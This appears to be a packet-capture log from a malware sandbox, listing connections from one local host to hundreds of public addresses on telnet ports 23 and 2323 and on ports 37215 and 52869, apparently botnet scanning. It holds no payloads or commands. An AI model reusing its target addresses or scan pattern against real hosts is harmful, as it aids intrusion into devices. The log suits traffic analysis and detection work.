Oct 6, 2024 20:00:46.496648073 CEST	23	50952	178.226.90.2	192.168.2.15
Oct 6, 2024 20:00:46.496676922 CEST	23	50952	122.226.106.26	192.168.2.15
Oct 6, 2024 20:00:46.496682882 CEST	50952	23	192.168.2.15	178.226.90.2
Oct 6, 2024 20:00:46.496705055 CEST	2323	50952	37.56.247.54	192.168.2.15
Oct 6, 2024 20:00:46.496717930 CEST	50952	23	192.168.2.15	36.254.16.94
Oct 6, 2024 20:00:46.496717930 CEST	50952	23	192.168.2.15	122.226.106.26
Oct 6, 2024 20:00:46.496732950 CEST	23	50952	145.24.36.201	192.168.2.15
Oct 6, 2024 20:00:46.496748924 CEST	50952	2323	192.168.2.15	37.56.247.54
Oct 6, 2024 20:00:46.496759892 CEST	23	50952	168.41.82.9	192.168.2.15
Oct 6, 2024 20:00:46.496777058 CEST	50952	23	192.168.2.15	145.24.36.201
Oct 6, 2024 20:00:46.496790886 CEST	23	50952	66.187.19.139	192.168.2.15
Oct 6, 2024 20:00:46.496833086 CEST	50952	23	192.168.2.15	66.187.19.139
Oct 6, 2024 20:00:46.496840000 CEST	50952	23	192.168.2.15	168.41.82.9
Oct 6, 2024 20:00:46.496903896 CEST	23	50952	89.95.80.100	192.168.2.15
Oct 6, 2024 20:00:46.496937037 CEST	23	50952	173.104.141.10	192.168.2.15
Oct 6, 2024 20:00:46.496942997 CEST	50952	23	192.168.2.15	89.95.80.100
Oct 6, 2024 20:00:46.496964931 CEST	23	50952	63.72.127.143	192.168.2.15
Oct 6, 2024 20:00:46.496975899 CEST	50952	23	192.168.2.15	173.104.141.10
Oct 6, 2024 20:00:46.496994019 CEST	2323	50952	2.157.110.228	192.168.2.15
Oct 6, 2024 20:00:46.497023106 CEST	23	50952	99.151.108.154	192.168.2.15
Oct 6, 2024 20:00:46.497034073 CEST	50952	2323	192.168.2.15	2.157.110.228
Oct 6, 2024 20:00:46.497050047 CEST	23	50952	48.61.184.104	192.168.2.15
Oct 6, 2024 20:00:46.497061968 CEST	50952	23	192.168.2.15	63.72.127.143
Oct 6, 2024 20:00:46.497062922 CEST	50952	23	192.168.2.15	99.151.108.154
Oct 6, 2024 20:00:46.497078896 CEST	23	50952	191.51.254.71	192.168.2.15
Oct 6, 2024 20:00:46.497126102 CEST	50952	23	192.168.2.15	191.51.254.71
Oct 6, 2024 20:00:46.497392893 CEST	23	50952	95.149.91.220	192.168.2.15
Oct 6, 2024 20:00:46.497422934 CEST	23	50952	44.242.201.252	192.168.2.15
Oct 6, 2024 20:00:46.497435093 CEST	50952	23	192.168.2.15	48.61.184.104
Oct 6, 2024 20:00:46.497452021 CEST	23	50952	40.33.98.58	192.168.2.15
Oct 6, 2024 20:00:46.497462034 CEST	50952	23	192.168.2.15	44.242.201.252
Oct 6, 2024 20:00:46.497481108 CEST	23	50952	201.136.230.23	192.168.2.15
Oct 6, 2024 20:00:46.497492075 CEST	50952	23	192.168.2.15	40.33.98.58
Oct 6, 2024 20:00:46.497509956 CEST	23	50952	188.91.72.150	192.168.2.15
Oct 6, 2024 20:00:46.497520924 CEST	50952	23	192.168.2.15	201.136.230.23
Oct 6, 2024 20:00:46.497539043 CEST	23	50952	87.196.226.202	192.168.2.15
Oct 6, 2024 20:00:46.497555971 CEST	50952	23	192.168.2.15	188.91.72.150
Oct 6, 2024 20:00:46.497572899 CEST	50952	23	192.168.2.15	87.196.226.202
Oct 6, 2024 20:00:46.497575998 CEST	23	50952	212.218.178.46	192.168.2.15
Oct 6, 2024 20:00:46.497606039 CEST	50952	23	192.168.2.15	95.149.91.220
Oct 6, 2024 20:00:46.497625113 CEST	50952	23	192.168.2.15	212.218.178.46
Oct 6, 2024 20:00:46.497782946 CEST	2323	50952	54.14.60.146	192.168.2.15
Oct 6, 2024 20:00:46.497811079 CEST	23	50952	166.179.157.113	192.168.2.15
Oct 6, 2024 20:00:46.497837067 CEST	50952	2323	192.168.2.15	54.14.60.146
Oct 6, 2024 20:00:46.497839928 CEST	23	50952	37.20.129.58	192.168.2.15
Oct 6, 2024 20:00:46.497857094 CEST	50952	23	192.168.2.15	166.179.157.113
Oct 6, 2024 20:00:46.497868061 CEST	23	50952	40.240.222.183	192.168.2.15
Oct 6, 2024 20:00:46.497899055 CEST	23	50952	190.67.17.149	192.168.2.15
Oct 6, 2024 20:00:46.497903109 CEST	50952	23	192.168.2.15	40.240.222.183
Oct 6, 2024 20:00:46.497927904 CEST	23	50952	185.168.44.61	192.168.2.15
Oct 6, 2024 20:00:46.497941017 CEST	50952	23	192.168.2.15	190.67.17.149
Oct 6, 2024 20:00:46.497951984 CEST	50952	23	192.168.2.15	37.20.129.58
Oct 6, 2024 20:00:46.497971058 CEST	50952	23	192.168.2.15	185.168.44.61
Oct 6, 2024 20:00:46.498105049 CEST	23	50952	60.42.219.159	192.168.2.15
Oct 6, 2024 20:00:46.498133898 CEST	23	50952	20.255.47.130	192.168.2.15
Oct 6, 2024 20:00:46.498162985 CEST	23	50952	148.38.205.210	192.168.2.15
Oct 6, 2024 20:00:46.498189926 CEST	23	50952	223.73.101.217	192.168.2.15
Oct 6, 2024 20:00:46.498204947 CEST	50952	23	192.168.2.15	148.38.205.210
Oct 6, 2024 20:00:46.498225927 CEST	50952	23	192.168.2.15	60.42.219.159
Oct 6, 2024 20:00:46.498233080 CEST	50952	23	192.168.2.15	223.73.101.217
Oct 6, 2024 20:00:46.498253107 CEST	50952	23	192.168.2.15	20.255.47.130
Oct 6, 2024 20:00:46.498883963 CEST	23	50952	48.9.226.230	192.168.2.15
Oct 6, 2024 20:00:46.498913050 CEST	2323	50952	216.253.96.7	192.168.2.15
Oct 6, 2024 20:00:46.498925924 CEST	50952	23	192.168.2.15	48.9.226.230
Oct 6, 2024 20:00:46.498941898 CEST	23	50952	77.20.101.121	192.168.2.15
Oct 6, 2024 20:00:46.498970985 CEST	23	50952	216.158.204.255	192.168.2.15
Oct 6, 2024 20:00:46.498986006 CEST	50952	23	192.168.2.15	77.20.101.121
Oct 6, 2024 20:00:46.498999119 CEST	23	50952	9.38.37.27	192.168.2.15
Oct 6, 2024 20:00:46.499015093 CEST	50952	2323	192.168.2.15	216.253.96.7
Oct 6, 2024 20:00:46.499017000 CEST	50952	23	192.168.2.15	216.158.204.255
Oct 6, 2024 20:00:46.499027967 CEST	23	50952	167.180.28.158	192.168.2.15
Oct 6, 2024 20:00:46.499042034 CEST	50952	23	192.168.2.15	9.38.37.27
Oct 6, 2024 20:00:46.499056101 CEST	23	50952	130.235.208.12	192.168.2.15
Oct 6, 2024 20:00:46.499064922 CEST	50952	23	192.168.2.15	167.180.28.158
Oct 6, 2024 20:00:46.499085903 CEST	23	50952	109.188.42.209	192.168.2.15
Oct 6, 2024 20:00:46.499114990 CEST	23	50952	150.214.147.123	192.168.2.15
Oct 6, 2024 20:00:46.499119043 CEST	50952	23	192.168.2.15	130.235.208.12
Oct 6, 2024 20:00:46.499130011 CEST	50952	23	192.168.2.15	109.188.42.209
Oct 6, 2024 20:00:46.499144077 CEST	23	50952	109.235.220.71	192.168.2.15
Oct 6, 2024 20:00:46.499175072 CEST	2323	50952	45.128.173.26	192.168.2.15
Oct 6, 2024 20:00:46.499190092 CEST	50952	23	192.168.2.15	150.214.147.123
Oct 6, 2024 20:00:46.499190092 CEST	50952	23	192.168.2.15	109.235.220.71
Oct 6, 2024 20:00:46.499202013 CEST	23	50952	117.31.59.173	192.168.2.15
Oct 6, 2024 20:00:46.499211073 CEST	50952	2323	192.168.2.15	45.128.173.26
Oct 6, 2024 20:00:46.499228954 CEST	23	50952	209.167.239.134	192.168.2.15
Oct 6, 2024 20:00:46.499238014 CEST	50952	23	192.168.2.15	117.31.59.173
Oct 6, 2024 20:00:46.499259949 CEST	23	50952	32.162.80.88	192.168.2.15
Oct 6, 2024 20:00:46.499288082 CEST	23	50952	178.87.27.106	192.168.2.15
Oct 6, 2024 20:00:46.499299049 CEST	50952	23	192.168.2.15	32.162.80.88
Oct 6, 2024 20:00:46.499316931 CEST	23	50952	62.219.133.77	192.168.2.15
Oct 6, 2024 20:00:46.499331951 CEST	50952	23	192.168.2.15	209.167.239.134
Oct 6, 2024 20:00:46.499336958 CEST	50952	23	192.168.2.15	178.87.27.106
Oct 6, 2024 20:00:46.499346018 CEST	23	50952	129.16.7.213	192.168.2.15
Oct 6, 2024 20:00:46.499360085 CEST	50952	23	192.168.2.15	62.219.133.77
Oct 6, 2024 20:00:46.500926971 CEST	50952	23	192.168.2.15	129.16.7.213
Oct 6, 2024 20:00:46.666392088 CEST	44302	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:46.666408062 CEST	50862	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:46.666408062 CEST	40306	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:46.666409969 CEST	58082	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:46.666409969 CEST	48806	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:46.666409969 CEST	58478	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.666423082 CEST	57252	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:46.666429043 CEST	48988	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:46.666454077 CEST	52526	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:46.666454077 CEST	45922	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:46.666454077 CEST	39910	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:46.666461945 CEST	52784	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:46.671281099 CEST	52869	44302	197.245.110.106	192.168.2.15
Oct 6, 2024 20:00:46.671330929 CEST	37215	48988	156.42.236.52	192.168.2.15
Oct 6, 2024 20:00:46.671360970 CEST	37215	50862	41.120.114.119	192.168.2.15
Oct 6, 2024 20:00:46.671406984 CEST	44302	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:46.671406984 CEST	48988	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:46.671411037 CEST	50862	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:46.671467066 CEST	44302	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:46.671493053 CEST	49160	52869	192.168.2.15	156.141.86.140
Oct 6, 2024 20:00:46.671492100 CEST	49160	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:46.671499968 CEST	37215	40306	156.139.12.174	192.168.2.15
Oct 6, 2024 20:00:46.671502113 CEST	49160	52869	192.168.2.15	197.91.206.158
Oct 6, 2024 20:00:46.671502113 CEST	49160	52869	192.168.2.15	156.68.33.3
Oct 6, 2024 20:00:46.671502113 CEST	49160	52869	192.168.2.15	41.169.114.35
Oct 6, 2024 20:00:46.671502113 CEST	49160	52869	192.168.2.15	41.156.153.102
Oct 6, 2024 20:00:46.671502113 CEST	49160	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:46.671502113 CEST	49160	52869	192.168.2.15	41.85.12.237
Oct 6, 2024 20:00:46.671513081 CEST	49160	52869	192.168.2.15	197.219.108.6
Oct 6, 2024 20:00:46.671521902 CEST	49160	52869	192.168.2.15	41.140.28.215
Oct 6, 2024 20:00:46.671523094 CEST	49160	52869	192.168.2.15	156.76.228.150
Oct 6, 2024 20:00:46.671531916 CEST	37215	57252	156.80.69.183	192.168.2.15
Oct 6, 2024 20:00:46.671536922 CEST	49160	52869	192.168.2.15	41.182.125.240
Oct 6, 2024 20:00:46.671535969 CEST	49160	52869	192.168.2.15	156.48.158.217
Oct 6, 2024 20:00:46.671536922 CEST	49160	52869	192.168.2.15	41.146.105.202
Oct 6, 2024 20:00:46.671547890 CEST	49160	52869	192.168.2.15	156.48.30.190
Oct 6, 2024 20:00:46.671550989 CEST	49160	52869	192.168.2.15	156.87.179.123
Oct 6, 2024 20:00:46.671555996 CEST	49160	52869	192.168.2.15	41.71.109.36
Oct 6, 2024 20:00:46.671555042 CEST	49160	52869	192.168.2.15	41.142.22.46
Oct 6, 2024 20:00:46.671555996 CEST	49160	52869	192.168.2.15	156.228.105.113
Oct 6, 2024 20:00:46.671555996 CEST	49160	52869	192.168.2.15	197.86.251.252
Oct 6, 2024 20:00:46.671561003 CEST	52869	52526	197.248.131.4	192.168.2.15
Oct 6, 2024 20:00:46.671566963 CEST	49160	52869	192.168.2.15	197.236.157.39
Oct 6, 2024 20:00:46.671566963 CEST	49160	52869	192.168.2.15	41.136.116.174
Oct 6, 2024 20:00:46.671566963 CEST	49160	52869	192.168.2.15	41.242.200.146
Oct 6, 2024 20:00:46.671571970 CEST	49160	52869	192.168.2.15	41.1.155.82
Oct 6, 2024 20:00:46.671575069 CEST	40306	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:46.671581030 CEST	49160	52869	192.168.2.15	41.13.95.212
Oct 6, 2024 20:00:46.671581030 CEST	49160	52869	192.168.2.15	156.70.200.104
Oct 6, 2024 20:00:46.671581030 CEST	49160	52869	192.168.2.15	156.187.216.180
Oct 6, 2024 20:00:46.671583891 CEST	49160	52869	192.168.2.15	41.85.43.56
Oct 6, 2024 20:00:46.671582937 CEST	49160	52869	192.168.2.15	197.122.147.145
Oct 6, 2024 20:00:46.671585083 CEST	57252	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:46.671586037 CEST	49160	52869	192.168.2.15	41.162.233.174
Oct 6, 2024 20:00:46.671586037 CEST	49160	52869	192.168.2.15	197.241.85.213
Oct 6, 2024 20:00:46.671590090 CEST	37215	45922	41.17.121.18	192.168.2.15
Oct 6, 2024 20:00:46.671622992 CEST	49160	52869	192.168.2.15	41.157.245.164
Oct 6, 2024 20:00:46.671622992 CEST	49160	52869	192.168.2.15	41.103.103.0
Oct 6, 2024 20:00:46.671623945 CEST	49160	52869	192.168.2.15	156.205.160.8
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	197.234.69.36
Oct 6, 2024 20:00:46.671623945 CEST	49160	52869	192.168.2.15	197.116.1.35
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	197.35.196.76
Oct 6, 2024 20:00:46.671626091 CEST	49160	52869	192.168.2.15	197.151.2.122
Oct 6, 2024 20:00:46.671627998 CEST	49160	52869	192.168.2.15	197.181.22.233
Oct 6, 2024 20:00:46.671626091 CEST	49160	52869	192.168.2.15	41.118.232.86
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	156.85.140.12
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	197.130.114.59
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	41.54.36.168
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	156.193.28.220
Oct 6, 2024 20:00:46.671623945 CEST	49160	52869	192.168.2.15	197.99.143.135
Oct 6, 2024 20:00:46.671622992 CEST	52869	39910	41.183.191.136	192.168.2.15
Oct 6, 2024 20:00:46.671623945 CEST	49160	52869	192.168.2.15	197.194.129.88
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	156.252.13.192
Oct 6, 2024 20:00:46.671639919 CEST	45922	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:46.671624899 CEST	49160	52869	192.168.2.15	41.40.133.103
Oct 6, 2024 20:00:46.671641111 CEST	49160	52869	192.168.2.15	156.146.91.85
Oct 6, 2024 20:00:46.671627998 CEST	49160	52869	192.168.2.15	156.214.68.41
Oct 6, 2024 20:00:46.671644926 CEST	49160	52869	192.168.2.15	197.156.251.57
Oct 6, 2024 20:00:46.671644926 CEST	49160	52869	192.168.2.15	197.103.48.161
Oct 6, 2024 20:00:46.671648979 CEST	49160	52869	192.168.2.15	156.217.132.16
Oct 6, 2024 20:00:46.671649933 CEST	49160	52869	192.168.2.15	156.178.182.186
Oct 6, 2024 20:00:46.671668053 CEST	52869	52784	156.209.222.208	192.168.2.15
Oct 6, 2024 20:00:46.671669960 CEST	49160	52869	192.168.2.15	197.139.90.221
Oct 6, 2024 20:00:46.671669960 CEST	49160	52869	192.168.2.15	156.116.44.178
Oct 6, 2024 20:00:46.671670914 CEST	49160	52869	192.168.2.15	197.88.125.6
Oct 6, 2024 20:00:46.671670914 CEST	49160	52869	192.168.2.15	41.59.108.80
Oct 6, 2024 20:00:46.671672106 CEST	49160	52869	192.168.2.15	197.55.119.89
Oct 6, 2024 20:00:46.671670914 CEST	49160	52869	192.168.2.15	41.31.9.250
Oct 6, 2024 20:00:46.671672106 CEST	49160	52869	192.168.2.15	197.91.63.99
Oct 6, 2024 20:00:46.671674013 CEST	49160	52869	192.168.2.15	156.171.161.116
Oct 6, 2024 20:00:46.671672106 CEST	49160	52869	192.168.2.15	41.112.160.29
Oct 6, 2024 20:00:46.671670914 CEST	49160	52869	192.168.2.15	41.116.225.88
Oct 6, 2024 20:00:46.671670914 CEST	49160	52869	192.168.2.15	41.169.203.237
Oct 6, 2024 20:00:46.671672106 CEST	49160	52869	192.168.2.15	41.63.78.227
Oct 6, 2024 20:00:46.671674013 CEST	49160	52869	192.168.2.15	41.106.85.32
Oct 6, 2024 20:00:46.671673059 CEST	49160	52869	192.168.2.15	197.149.63.154
Oct 6, 2024 20:00:46.671673059 CEST	49160	52869	192.168.2.15	156.238.255.3
Oct 6, 2024 20:00:46.671674013 CEST	49160	52869	192.168.2.15	41.207.154.40
Oct 6, 2024 20:00:46.671672106 CEST	49160	52869	192.168.2.15	41.78.178.101
Oct 6, 2024 20:00:46.671674013 CEST	49160	52869	192.168.2.15	156.134.66.241
Oct 6, 2024 20:00:46.671670914 CEST	49160	52869	192.168.2.15	41.81.138.28
Oct 6, 2024 20:00:46.671674013 CEST	49160	52869	192.168.2.15	41.31.50.35
Oct 6, 2024 20:00:46.671672106 CEST	49160	52869	192.168.2.15	197.6.173.59
Oct 6, 2024 20:00:46.671674967 CEST	49160	52869	192.168.2.15	41.33.164.162
Oct 6, 2024 20:00:46.671674967 CEST	49160	52869	192.168.2.15	156.117.222.184
Oct 6, 2024 20:00:46.671688080 CEST	49160	52869	192.168.2.15	41.49.148.13
Oct 6, 2024 20:00:46.671688080 CEST	49160	52869	192.168.2.15	197.162.151.162
Oct 6, 2024 20:00:46.671688080 CEST	49160	52869	192.168.2.15	41.120.147.59
Oct 6, 2024 20:00:46.671689034 CEST	49160	52869	192.168.2.15	41.30.244.240
Oct 6, 2024 20:00:46.671690941 CEST	49160	52869	192.168.2.15	197.179.40.183
Oct 6, 2024 20:00:46.671690941 CEST	52526	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:46.671690941 CEST	49160	52869	192.168.2.15	156.158.94.239
Oct 6, 2024 20:00:46.671690941 CEST	49160	52869	192.168.2.15	156.59.154.226
Oct 6, 2024 20:00:46.671691895 CEST	49160	52869	192.168.2.15	197.186.232.158
Oct 6, 2024 20:00:46.671691895 CEST	49160	52869	192.168.2.15	41.32.52.207
Oct 6, 2024 20:00:46.671698093 CEST	37215	58082	156.16.124.10	192.168.2.15
Oct 6, 2024 20:00:46.671705008 CEST	49160	52869	192.168.2.15	41.60.99.221
Oct 6, 2024 20:00:46.671705008 CEST	49160	52869	192.168.2.15	156.70.155.122
Oct 6, 2024 20:00:46.671714067 CEST	49160	52869	192.168.2.15	156.49.34.126
Oct 6, 2024 20:00:46.671714067 CEST	49160	52869	192.168.2.15	197.142.224.86
Oct 6, 2024 20:00:46.671717882 CEST	49160	52869	192.168.2.15	156.64.255.4
Oct 6, 2024 20:00:46.671717882 CEST	49160	52869	192.168.2.15	197.62.83.105
Oct 6, 2024 20:00:46.671717882 CEST	49160	52869	192.168.2.15	156.101.209.25
Oct 6, 2024 20:00:46.671717882 CEST	49160	52869	192.168.2.15	156.103.5.39
Oct 6, 2024 20:00:46.671717882 CEST	49160	52869	192.168.2.15	41.205.77.140
Oct 6, 2024 20:00:46.671720028 CEST	49160	52869	192.168.2.15	197.243.211.201
Oct 6, 2024 20:00:46.671720028 CEST	49160	52869	192.168.2.15	197.226.148.87
Oct 6, 2024 20:00:46.671720982 CEST	49160	52869	192.168.2.15	197.59.178.247
Oct 6, 2024 20:00:46.671720982 CEST	49160	52869	192.168.2.15	156.22.254.156
Oct 6, 2024 20:00:46.671720982 CEST	49160	52869	192.168.2.15	197.3.67.78
Oct 6, 2024 20:00:46.671721935 CEST	49160	52869	192.168.2.15	156.246.8.125
Oct 6, 2024 20:00:46.671720982 CEST	49160	52869	192.168.2.15	156.73.79.229
Oct 6, 2024 20:00:46.671720982 CEST	49160	52869	192.168.2.15	41.85.43.163
Oct 6, 2024 20:00:46.671721935 CEST	49160	52869	192.168.2.15	156.188.225.228
Oct 6, 2024 20:00:46.671720982 CEST	49160	52869	192.168.2.15	156.171.182.83
Oct 6, 2024 20:00:46.671725988 CEST	37215	48806	197.45.60.52	192.168.2.15
Oct 6, 2024 20:00:46.671737909 CEST	49160	52869	192.168.2.15	156.115.230.215
Oct 6, 2024 20:00:46.671737909 CEST	49160	52869	192.168.2.15	156.239.181.92
Oct 6, 2024 20:00:46.671737909 CEST	49160	52869	192.168.2.15	156.197.233.148
Oct 6, 2024 20:00:46.671749115 CEST	49160	52869	192.168.2.15	156.27.218.179
Oct 6, 2024 20:00:46.671749115 CEST	49160	52869	192.168.2.15	197.228.179.111
Oct 6, 2024 20:00:46.671749115 CEST	49160	52869	192.168.2.15	156.198.14.255
Oct 6, 2024 20:00:46.671750069 CEST	49160	52869	192.168.2.15	156.83.213.250
Oct 6, 2024 20:00:46.671749115 CEST	49160	52869	192.168.2.15	197.227.217.219
Oct 6, 2024 20:00:46.671750069 CEST	49160	52869	192.168.2.15	156.129.22.181
Oct 6, 2024 20:00:46.671749115 CEST	49160	52869	192.168.2.15	156.54.253.39
Oct 6, 2024 20:00:46.671751976 CEST	49160	52869	192.168.2.15	41.254.181.157
Oct 6, 2024 20:00:46.671751022 CEST	49160	52869	192.168.2.15	41.154.223.42
Oct 6, 2024 20:00:46.671751976 CEST	39910	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:46.671751976 CEST	49160	52869	192.168.2.15	197.161.112.49
Oct 6, 2024 20:00:46.671751976 CEST	49160	52869	192.168.2.15	156.211.255.174
Oct 6, 2024 20:00:46.671756029 CEST	49160	52869	192.168.2.15	156.106.26.115
Oct 6, 2024 20:00:46.671751976 CEST	49160	52869	192.168.2.15	41.29.237.135
Oct 6, 2024 20:00:46.671756029 CEST	49160	52869	192.168.2.15	41.189.122.167
Oct 6, 2024 20:00:46.671752930 CEST	49160	52869	192.168.2.15	41.212.74.113
Oct 6, 2024 20:00:46.671760082 CEST	37215	58478	41.233.44.190	192.168.2.15
Oct 6, 2024 20:00:46.671766043 CEST	49160	52869	192.168.2.15	156.84.20.8
Oct 6, 2024 20:00:46.671782017 CEST	49160	52869	192.168.2.15	156.185.210.33
Oct 6, 2024 20:00:46.671782017 CEST	49160	52869	192.168.2.15	197.64.175.83
Oct 6, 2024 20:00:46.671782017 CEST	49160	52869	192.168.2.15	156.234.146.196
Oct 6, 2024 20:00:46.671782017 CEST	49160	52869	192.168.2.15	156.117.102.64
Oct 6, 2024 20:00:46.671782970 CEST	49160	52869	192.168.2.15	197.77.119.43
Oct 6, 2024 20:00:46.671782017 CEST	49160	52869	192.168.2.15	197.159.44.172
Oct 6, 2024 20:00:46.671782970 CEST	49160	52869	192.168.2.15	156.239.25.223
Oct 6, 2024 20:00:46.671782970 CEST	49160	52869	192.168.2.15	156.77.216.204
Oct 6, 2024 20:00:46.671782970 CEST	48806	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:46.671788931 CEST	49160	52869	192.168.2.15	156.29.29.122
Oct 6, 2024 20:00:46.671788931 CEST	49160	52869	192.168.2.15	197.221.220.25
Oct 6, 2024 20:00:46.671789885 CEST	49160	52869	192.168.2.15	197.112.43.166
Oct 6, 2024 20:00:46.671789885 CEST	49160	52869	192.168.2.15	197.186.4.88
Oct 6, 2024 20:00:46.671789885 CEST	49160	52869	192.168.2.15	41.198.215.36
Oct 6, 2024 20:00:46.671792984 CEST	49160	52869	192.168.2.15	156.13.131.252
Oct 6, 2024 20:00:46.671792984 CEST	49160	52869	192.168.2.15	41.227.229.242
Oct 6, 2024 20:00:46.671794891 CEST	49160	52869	192.168.2.15	197.96.146.244
Oct 6, 2024 20:00:46.671794891 CEST	49160	52869	192.168.2.15	41.154.234.193
Oct 6, 2024 20:00:46.671794891 CEST	49160	52869	192.168.2.15	156.170.235.250
Oct 6, 2024 20:00:46.671797037 CEST	49160	52869	192.168.2.15	197.238.47.219
Oct 6, 2024 20:00:46.671797037 CEST	49160	52869	192.168.2.15	41.128.119.15
Oct 6, 2024 20:00:46.671797037 CEST	49160	52869	192.168.2.15	197.234.37.220
Oct 6, 2024 20:00:46.671797037 CEST	49160	52869	192.168.2.15	197.222.50.135
Oct 6, 2024 20:00:46.671797037 CEST	49160	52869	192.168.2.15	41.208.22.246
Oct 6, 2024 20:00:46.671824932 CEST	52784	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:46.671824932 CEST	49160	52869	192.168.2.15	156.162.55.235
Oct 6, 2024 20:00:46.671824932 CEST	49160	52869	192.168.2.15	41.197.248.112
Oct 6, 2024 20:00:46.671825886 CEST	49160	52869	192.168.2.15	197.134.20.67
Oct 6, 2024 20:00:46.671825886 CEST	49160	52869	192.168.2.15	41.96.43.26
Oct 6, 2024 20:00:46.671825886 CEST	49160	52869	192.168.2.15	41.132.224.209
Oct 6, 2024 20:00:46.671828032 CEST	49160	52869	192.168.2.15	41.91.73.154
Oct 6, 2024 20:00:46.671828032 CEST	49160	52869	192.168.2.15	41.75.225.43
Oct 6, 2024 20:00:46.671828032 CEST	49160	52869	192.168.2.15	156.56.98.177
Oct 6, 2024 20:00:46.671828985 CEST	49160	52869	192.168.2.15	41.249.128.111
Oct 6, 2024 20:00:46.671828985 CEST	49160	52869	192.168.2.15	156.57.231.5
Oct 6, 2024 20:00:46.671829939 CEST	49160	52869	192.168.2.15	41.211.20.239
Oct 6, 2024 20:00:46.671829939 CEST	58082	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:46.671829939 CEST	49160	52869	192.168.2.15	197.217.148.124
Oct 6, 2024 20:00:46.671829939 CEST	58478	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.671834946 CEST	49160	52869	192.168.2.15	197.125.126.219
Oct 6, 2024 20:00:46.671890974 CEST	39910	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:46.671897888 CEST	52526	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:46.671983957 CEST	52784	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:46.671983957 CEST	49416	37215	192.168.2.15	156.178.117.244
Oct 6, 2024 20:00:46.671983957 CEST	49416	37215	192.168.2.15	156.85.91.118
Oct 6, 2024 20:00:46.671987057 CEST	49416	37215	192.168.2.15	197.16.28.6
Oct 6, 2024 20:00:46.671991110 CEST	49416	37215	192.168.2.15	156.39.124.203
Oct 6, 2024 20:00:46.671999931 CEST	49416	37215	192.168.2.15	41.72.192.122
Oct 6, 2024 20:00:46.671999931 CEST	49416	37215	192.168.2.15	41.120.91.55
Oct 6, 2024 20:00:46.672005892 CEST	49416	37215	192.168.2.15	156.115.126.127
Oct 6, 2024 20:00:46.672009945 CEST	49416	37215	192.168.2.15	41.130.136.140
Oct 6, 2024 20:00:46.672009945 CEST	49416	37215	192.168.2.15	156.90.87.65
Oct 6, 2024 20:00:46.672017097 CEST	49416	37215	192.168.2.15	197.179.130.181
Oct 6, 2024 20:00:46.672019958 CEST	49416	37215	192.168.2.15	41.194.49.119
Oct 6, 2024 20:00:46.672035933 CEST	49416	37215	192.168.2.15	156.243.5.143
Oct 6, 2024 20:00:46.672038078 CEST	49416	37215	192.168.2.15	41.113.192.184
Oct 6, 2024 20:00:46.672039032 CEST	49416	37215	192.168.2.15	156.6.186.85
Oct 6, 2024 20:00:46.672039986 CEST	49416	37215	192.168.2.15	41.35.122.167
Oct 6, 2024 20:00:46.672045946 CEST	49416	37215	192.168.2.15	41.200.228.155
Oct 6, 2024 20:00:46.672045946 CEST	49416	37215	192.168.2.15	156.240.204.84
Oct 6, 2024 20:00:46.672048092 CEST	49416	37215	192.168.2.15	197.189.138.151
Oct 6, 2024 20:00:46.672048092 CEST	49416	37215	192.168.2.15	41.247.196.213
Oct 6, 2024 20:00:46.672056913 CEST	49416	37215	192.168.2.15	156.212.136.3
Oct 6, 2024 20:00:46.672058105 CEST	49416	37215	192.168.2.15	197.197.106.108
Oct 6, 2024 20:00:46.672065020 CEST	49416	37215	192.168.2.15	41.137.189.184
Oct 6, 2024 20:00:46.672080994 CEST	49416	37215	192.168.2.15	41.70.212.35
Oct 6, 2024 20:00:46.672082901 CEST	49416	37215	192.168.2.15	41.83.194.200
Oct 6, 2024 20:00:46.672082901 CEST	49416	37215	192.168.2.15	156.228.82.80
Oct 6, 2024 20:00:46.672086000 CEST	49416	37215	192.168.2.15	197.163.25.252
Oct 6, 2024 20:00:46.672086000 CEST	49416	37215	192.168.2.15	41.250.36.183
Oct 6, 2024 20:00:46.672087908 CEST	49416	37215	192.168.2.15	156.55.28.147
Oct 6, 2024 20:00:46.672091007 CEST	49416	37215	192.168.2.15	197.250.232.139
Oct 6, 2024 20:00:46.672100067 CEST	49416	37215	192.168.2.15	41.64.172.186
Oct 6, 2024 20:00:46.672101974 CEST	49416	37215	192.168.2.15	156.76.181.146
Oct 6, 2024 20:00:46.672101974 CEST	49416	37215	192.168.2.15	41.52.102.103
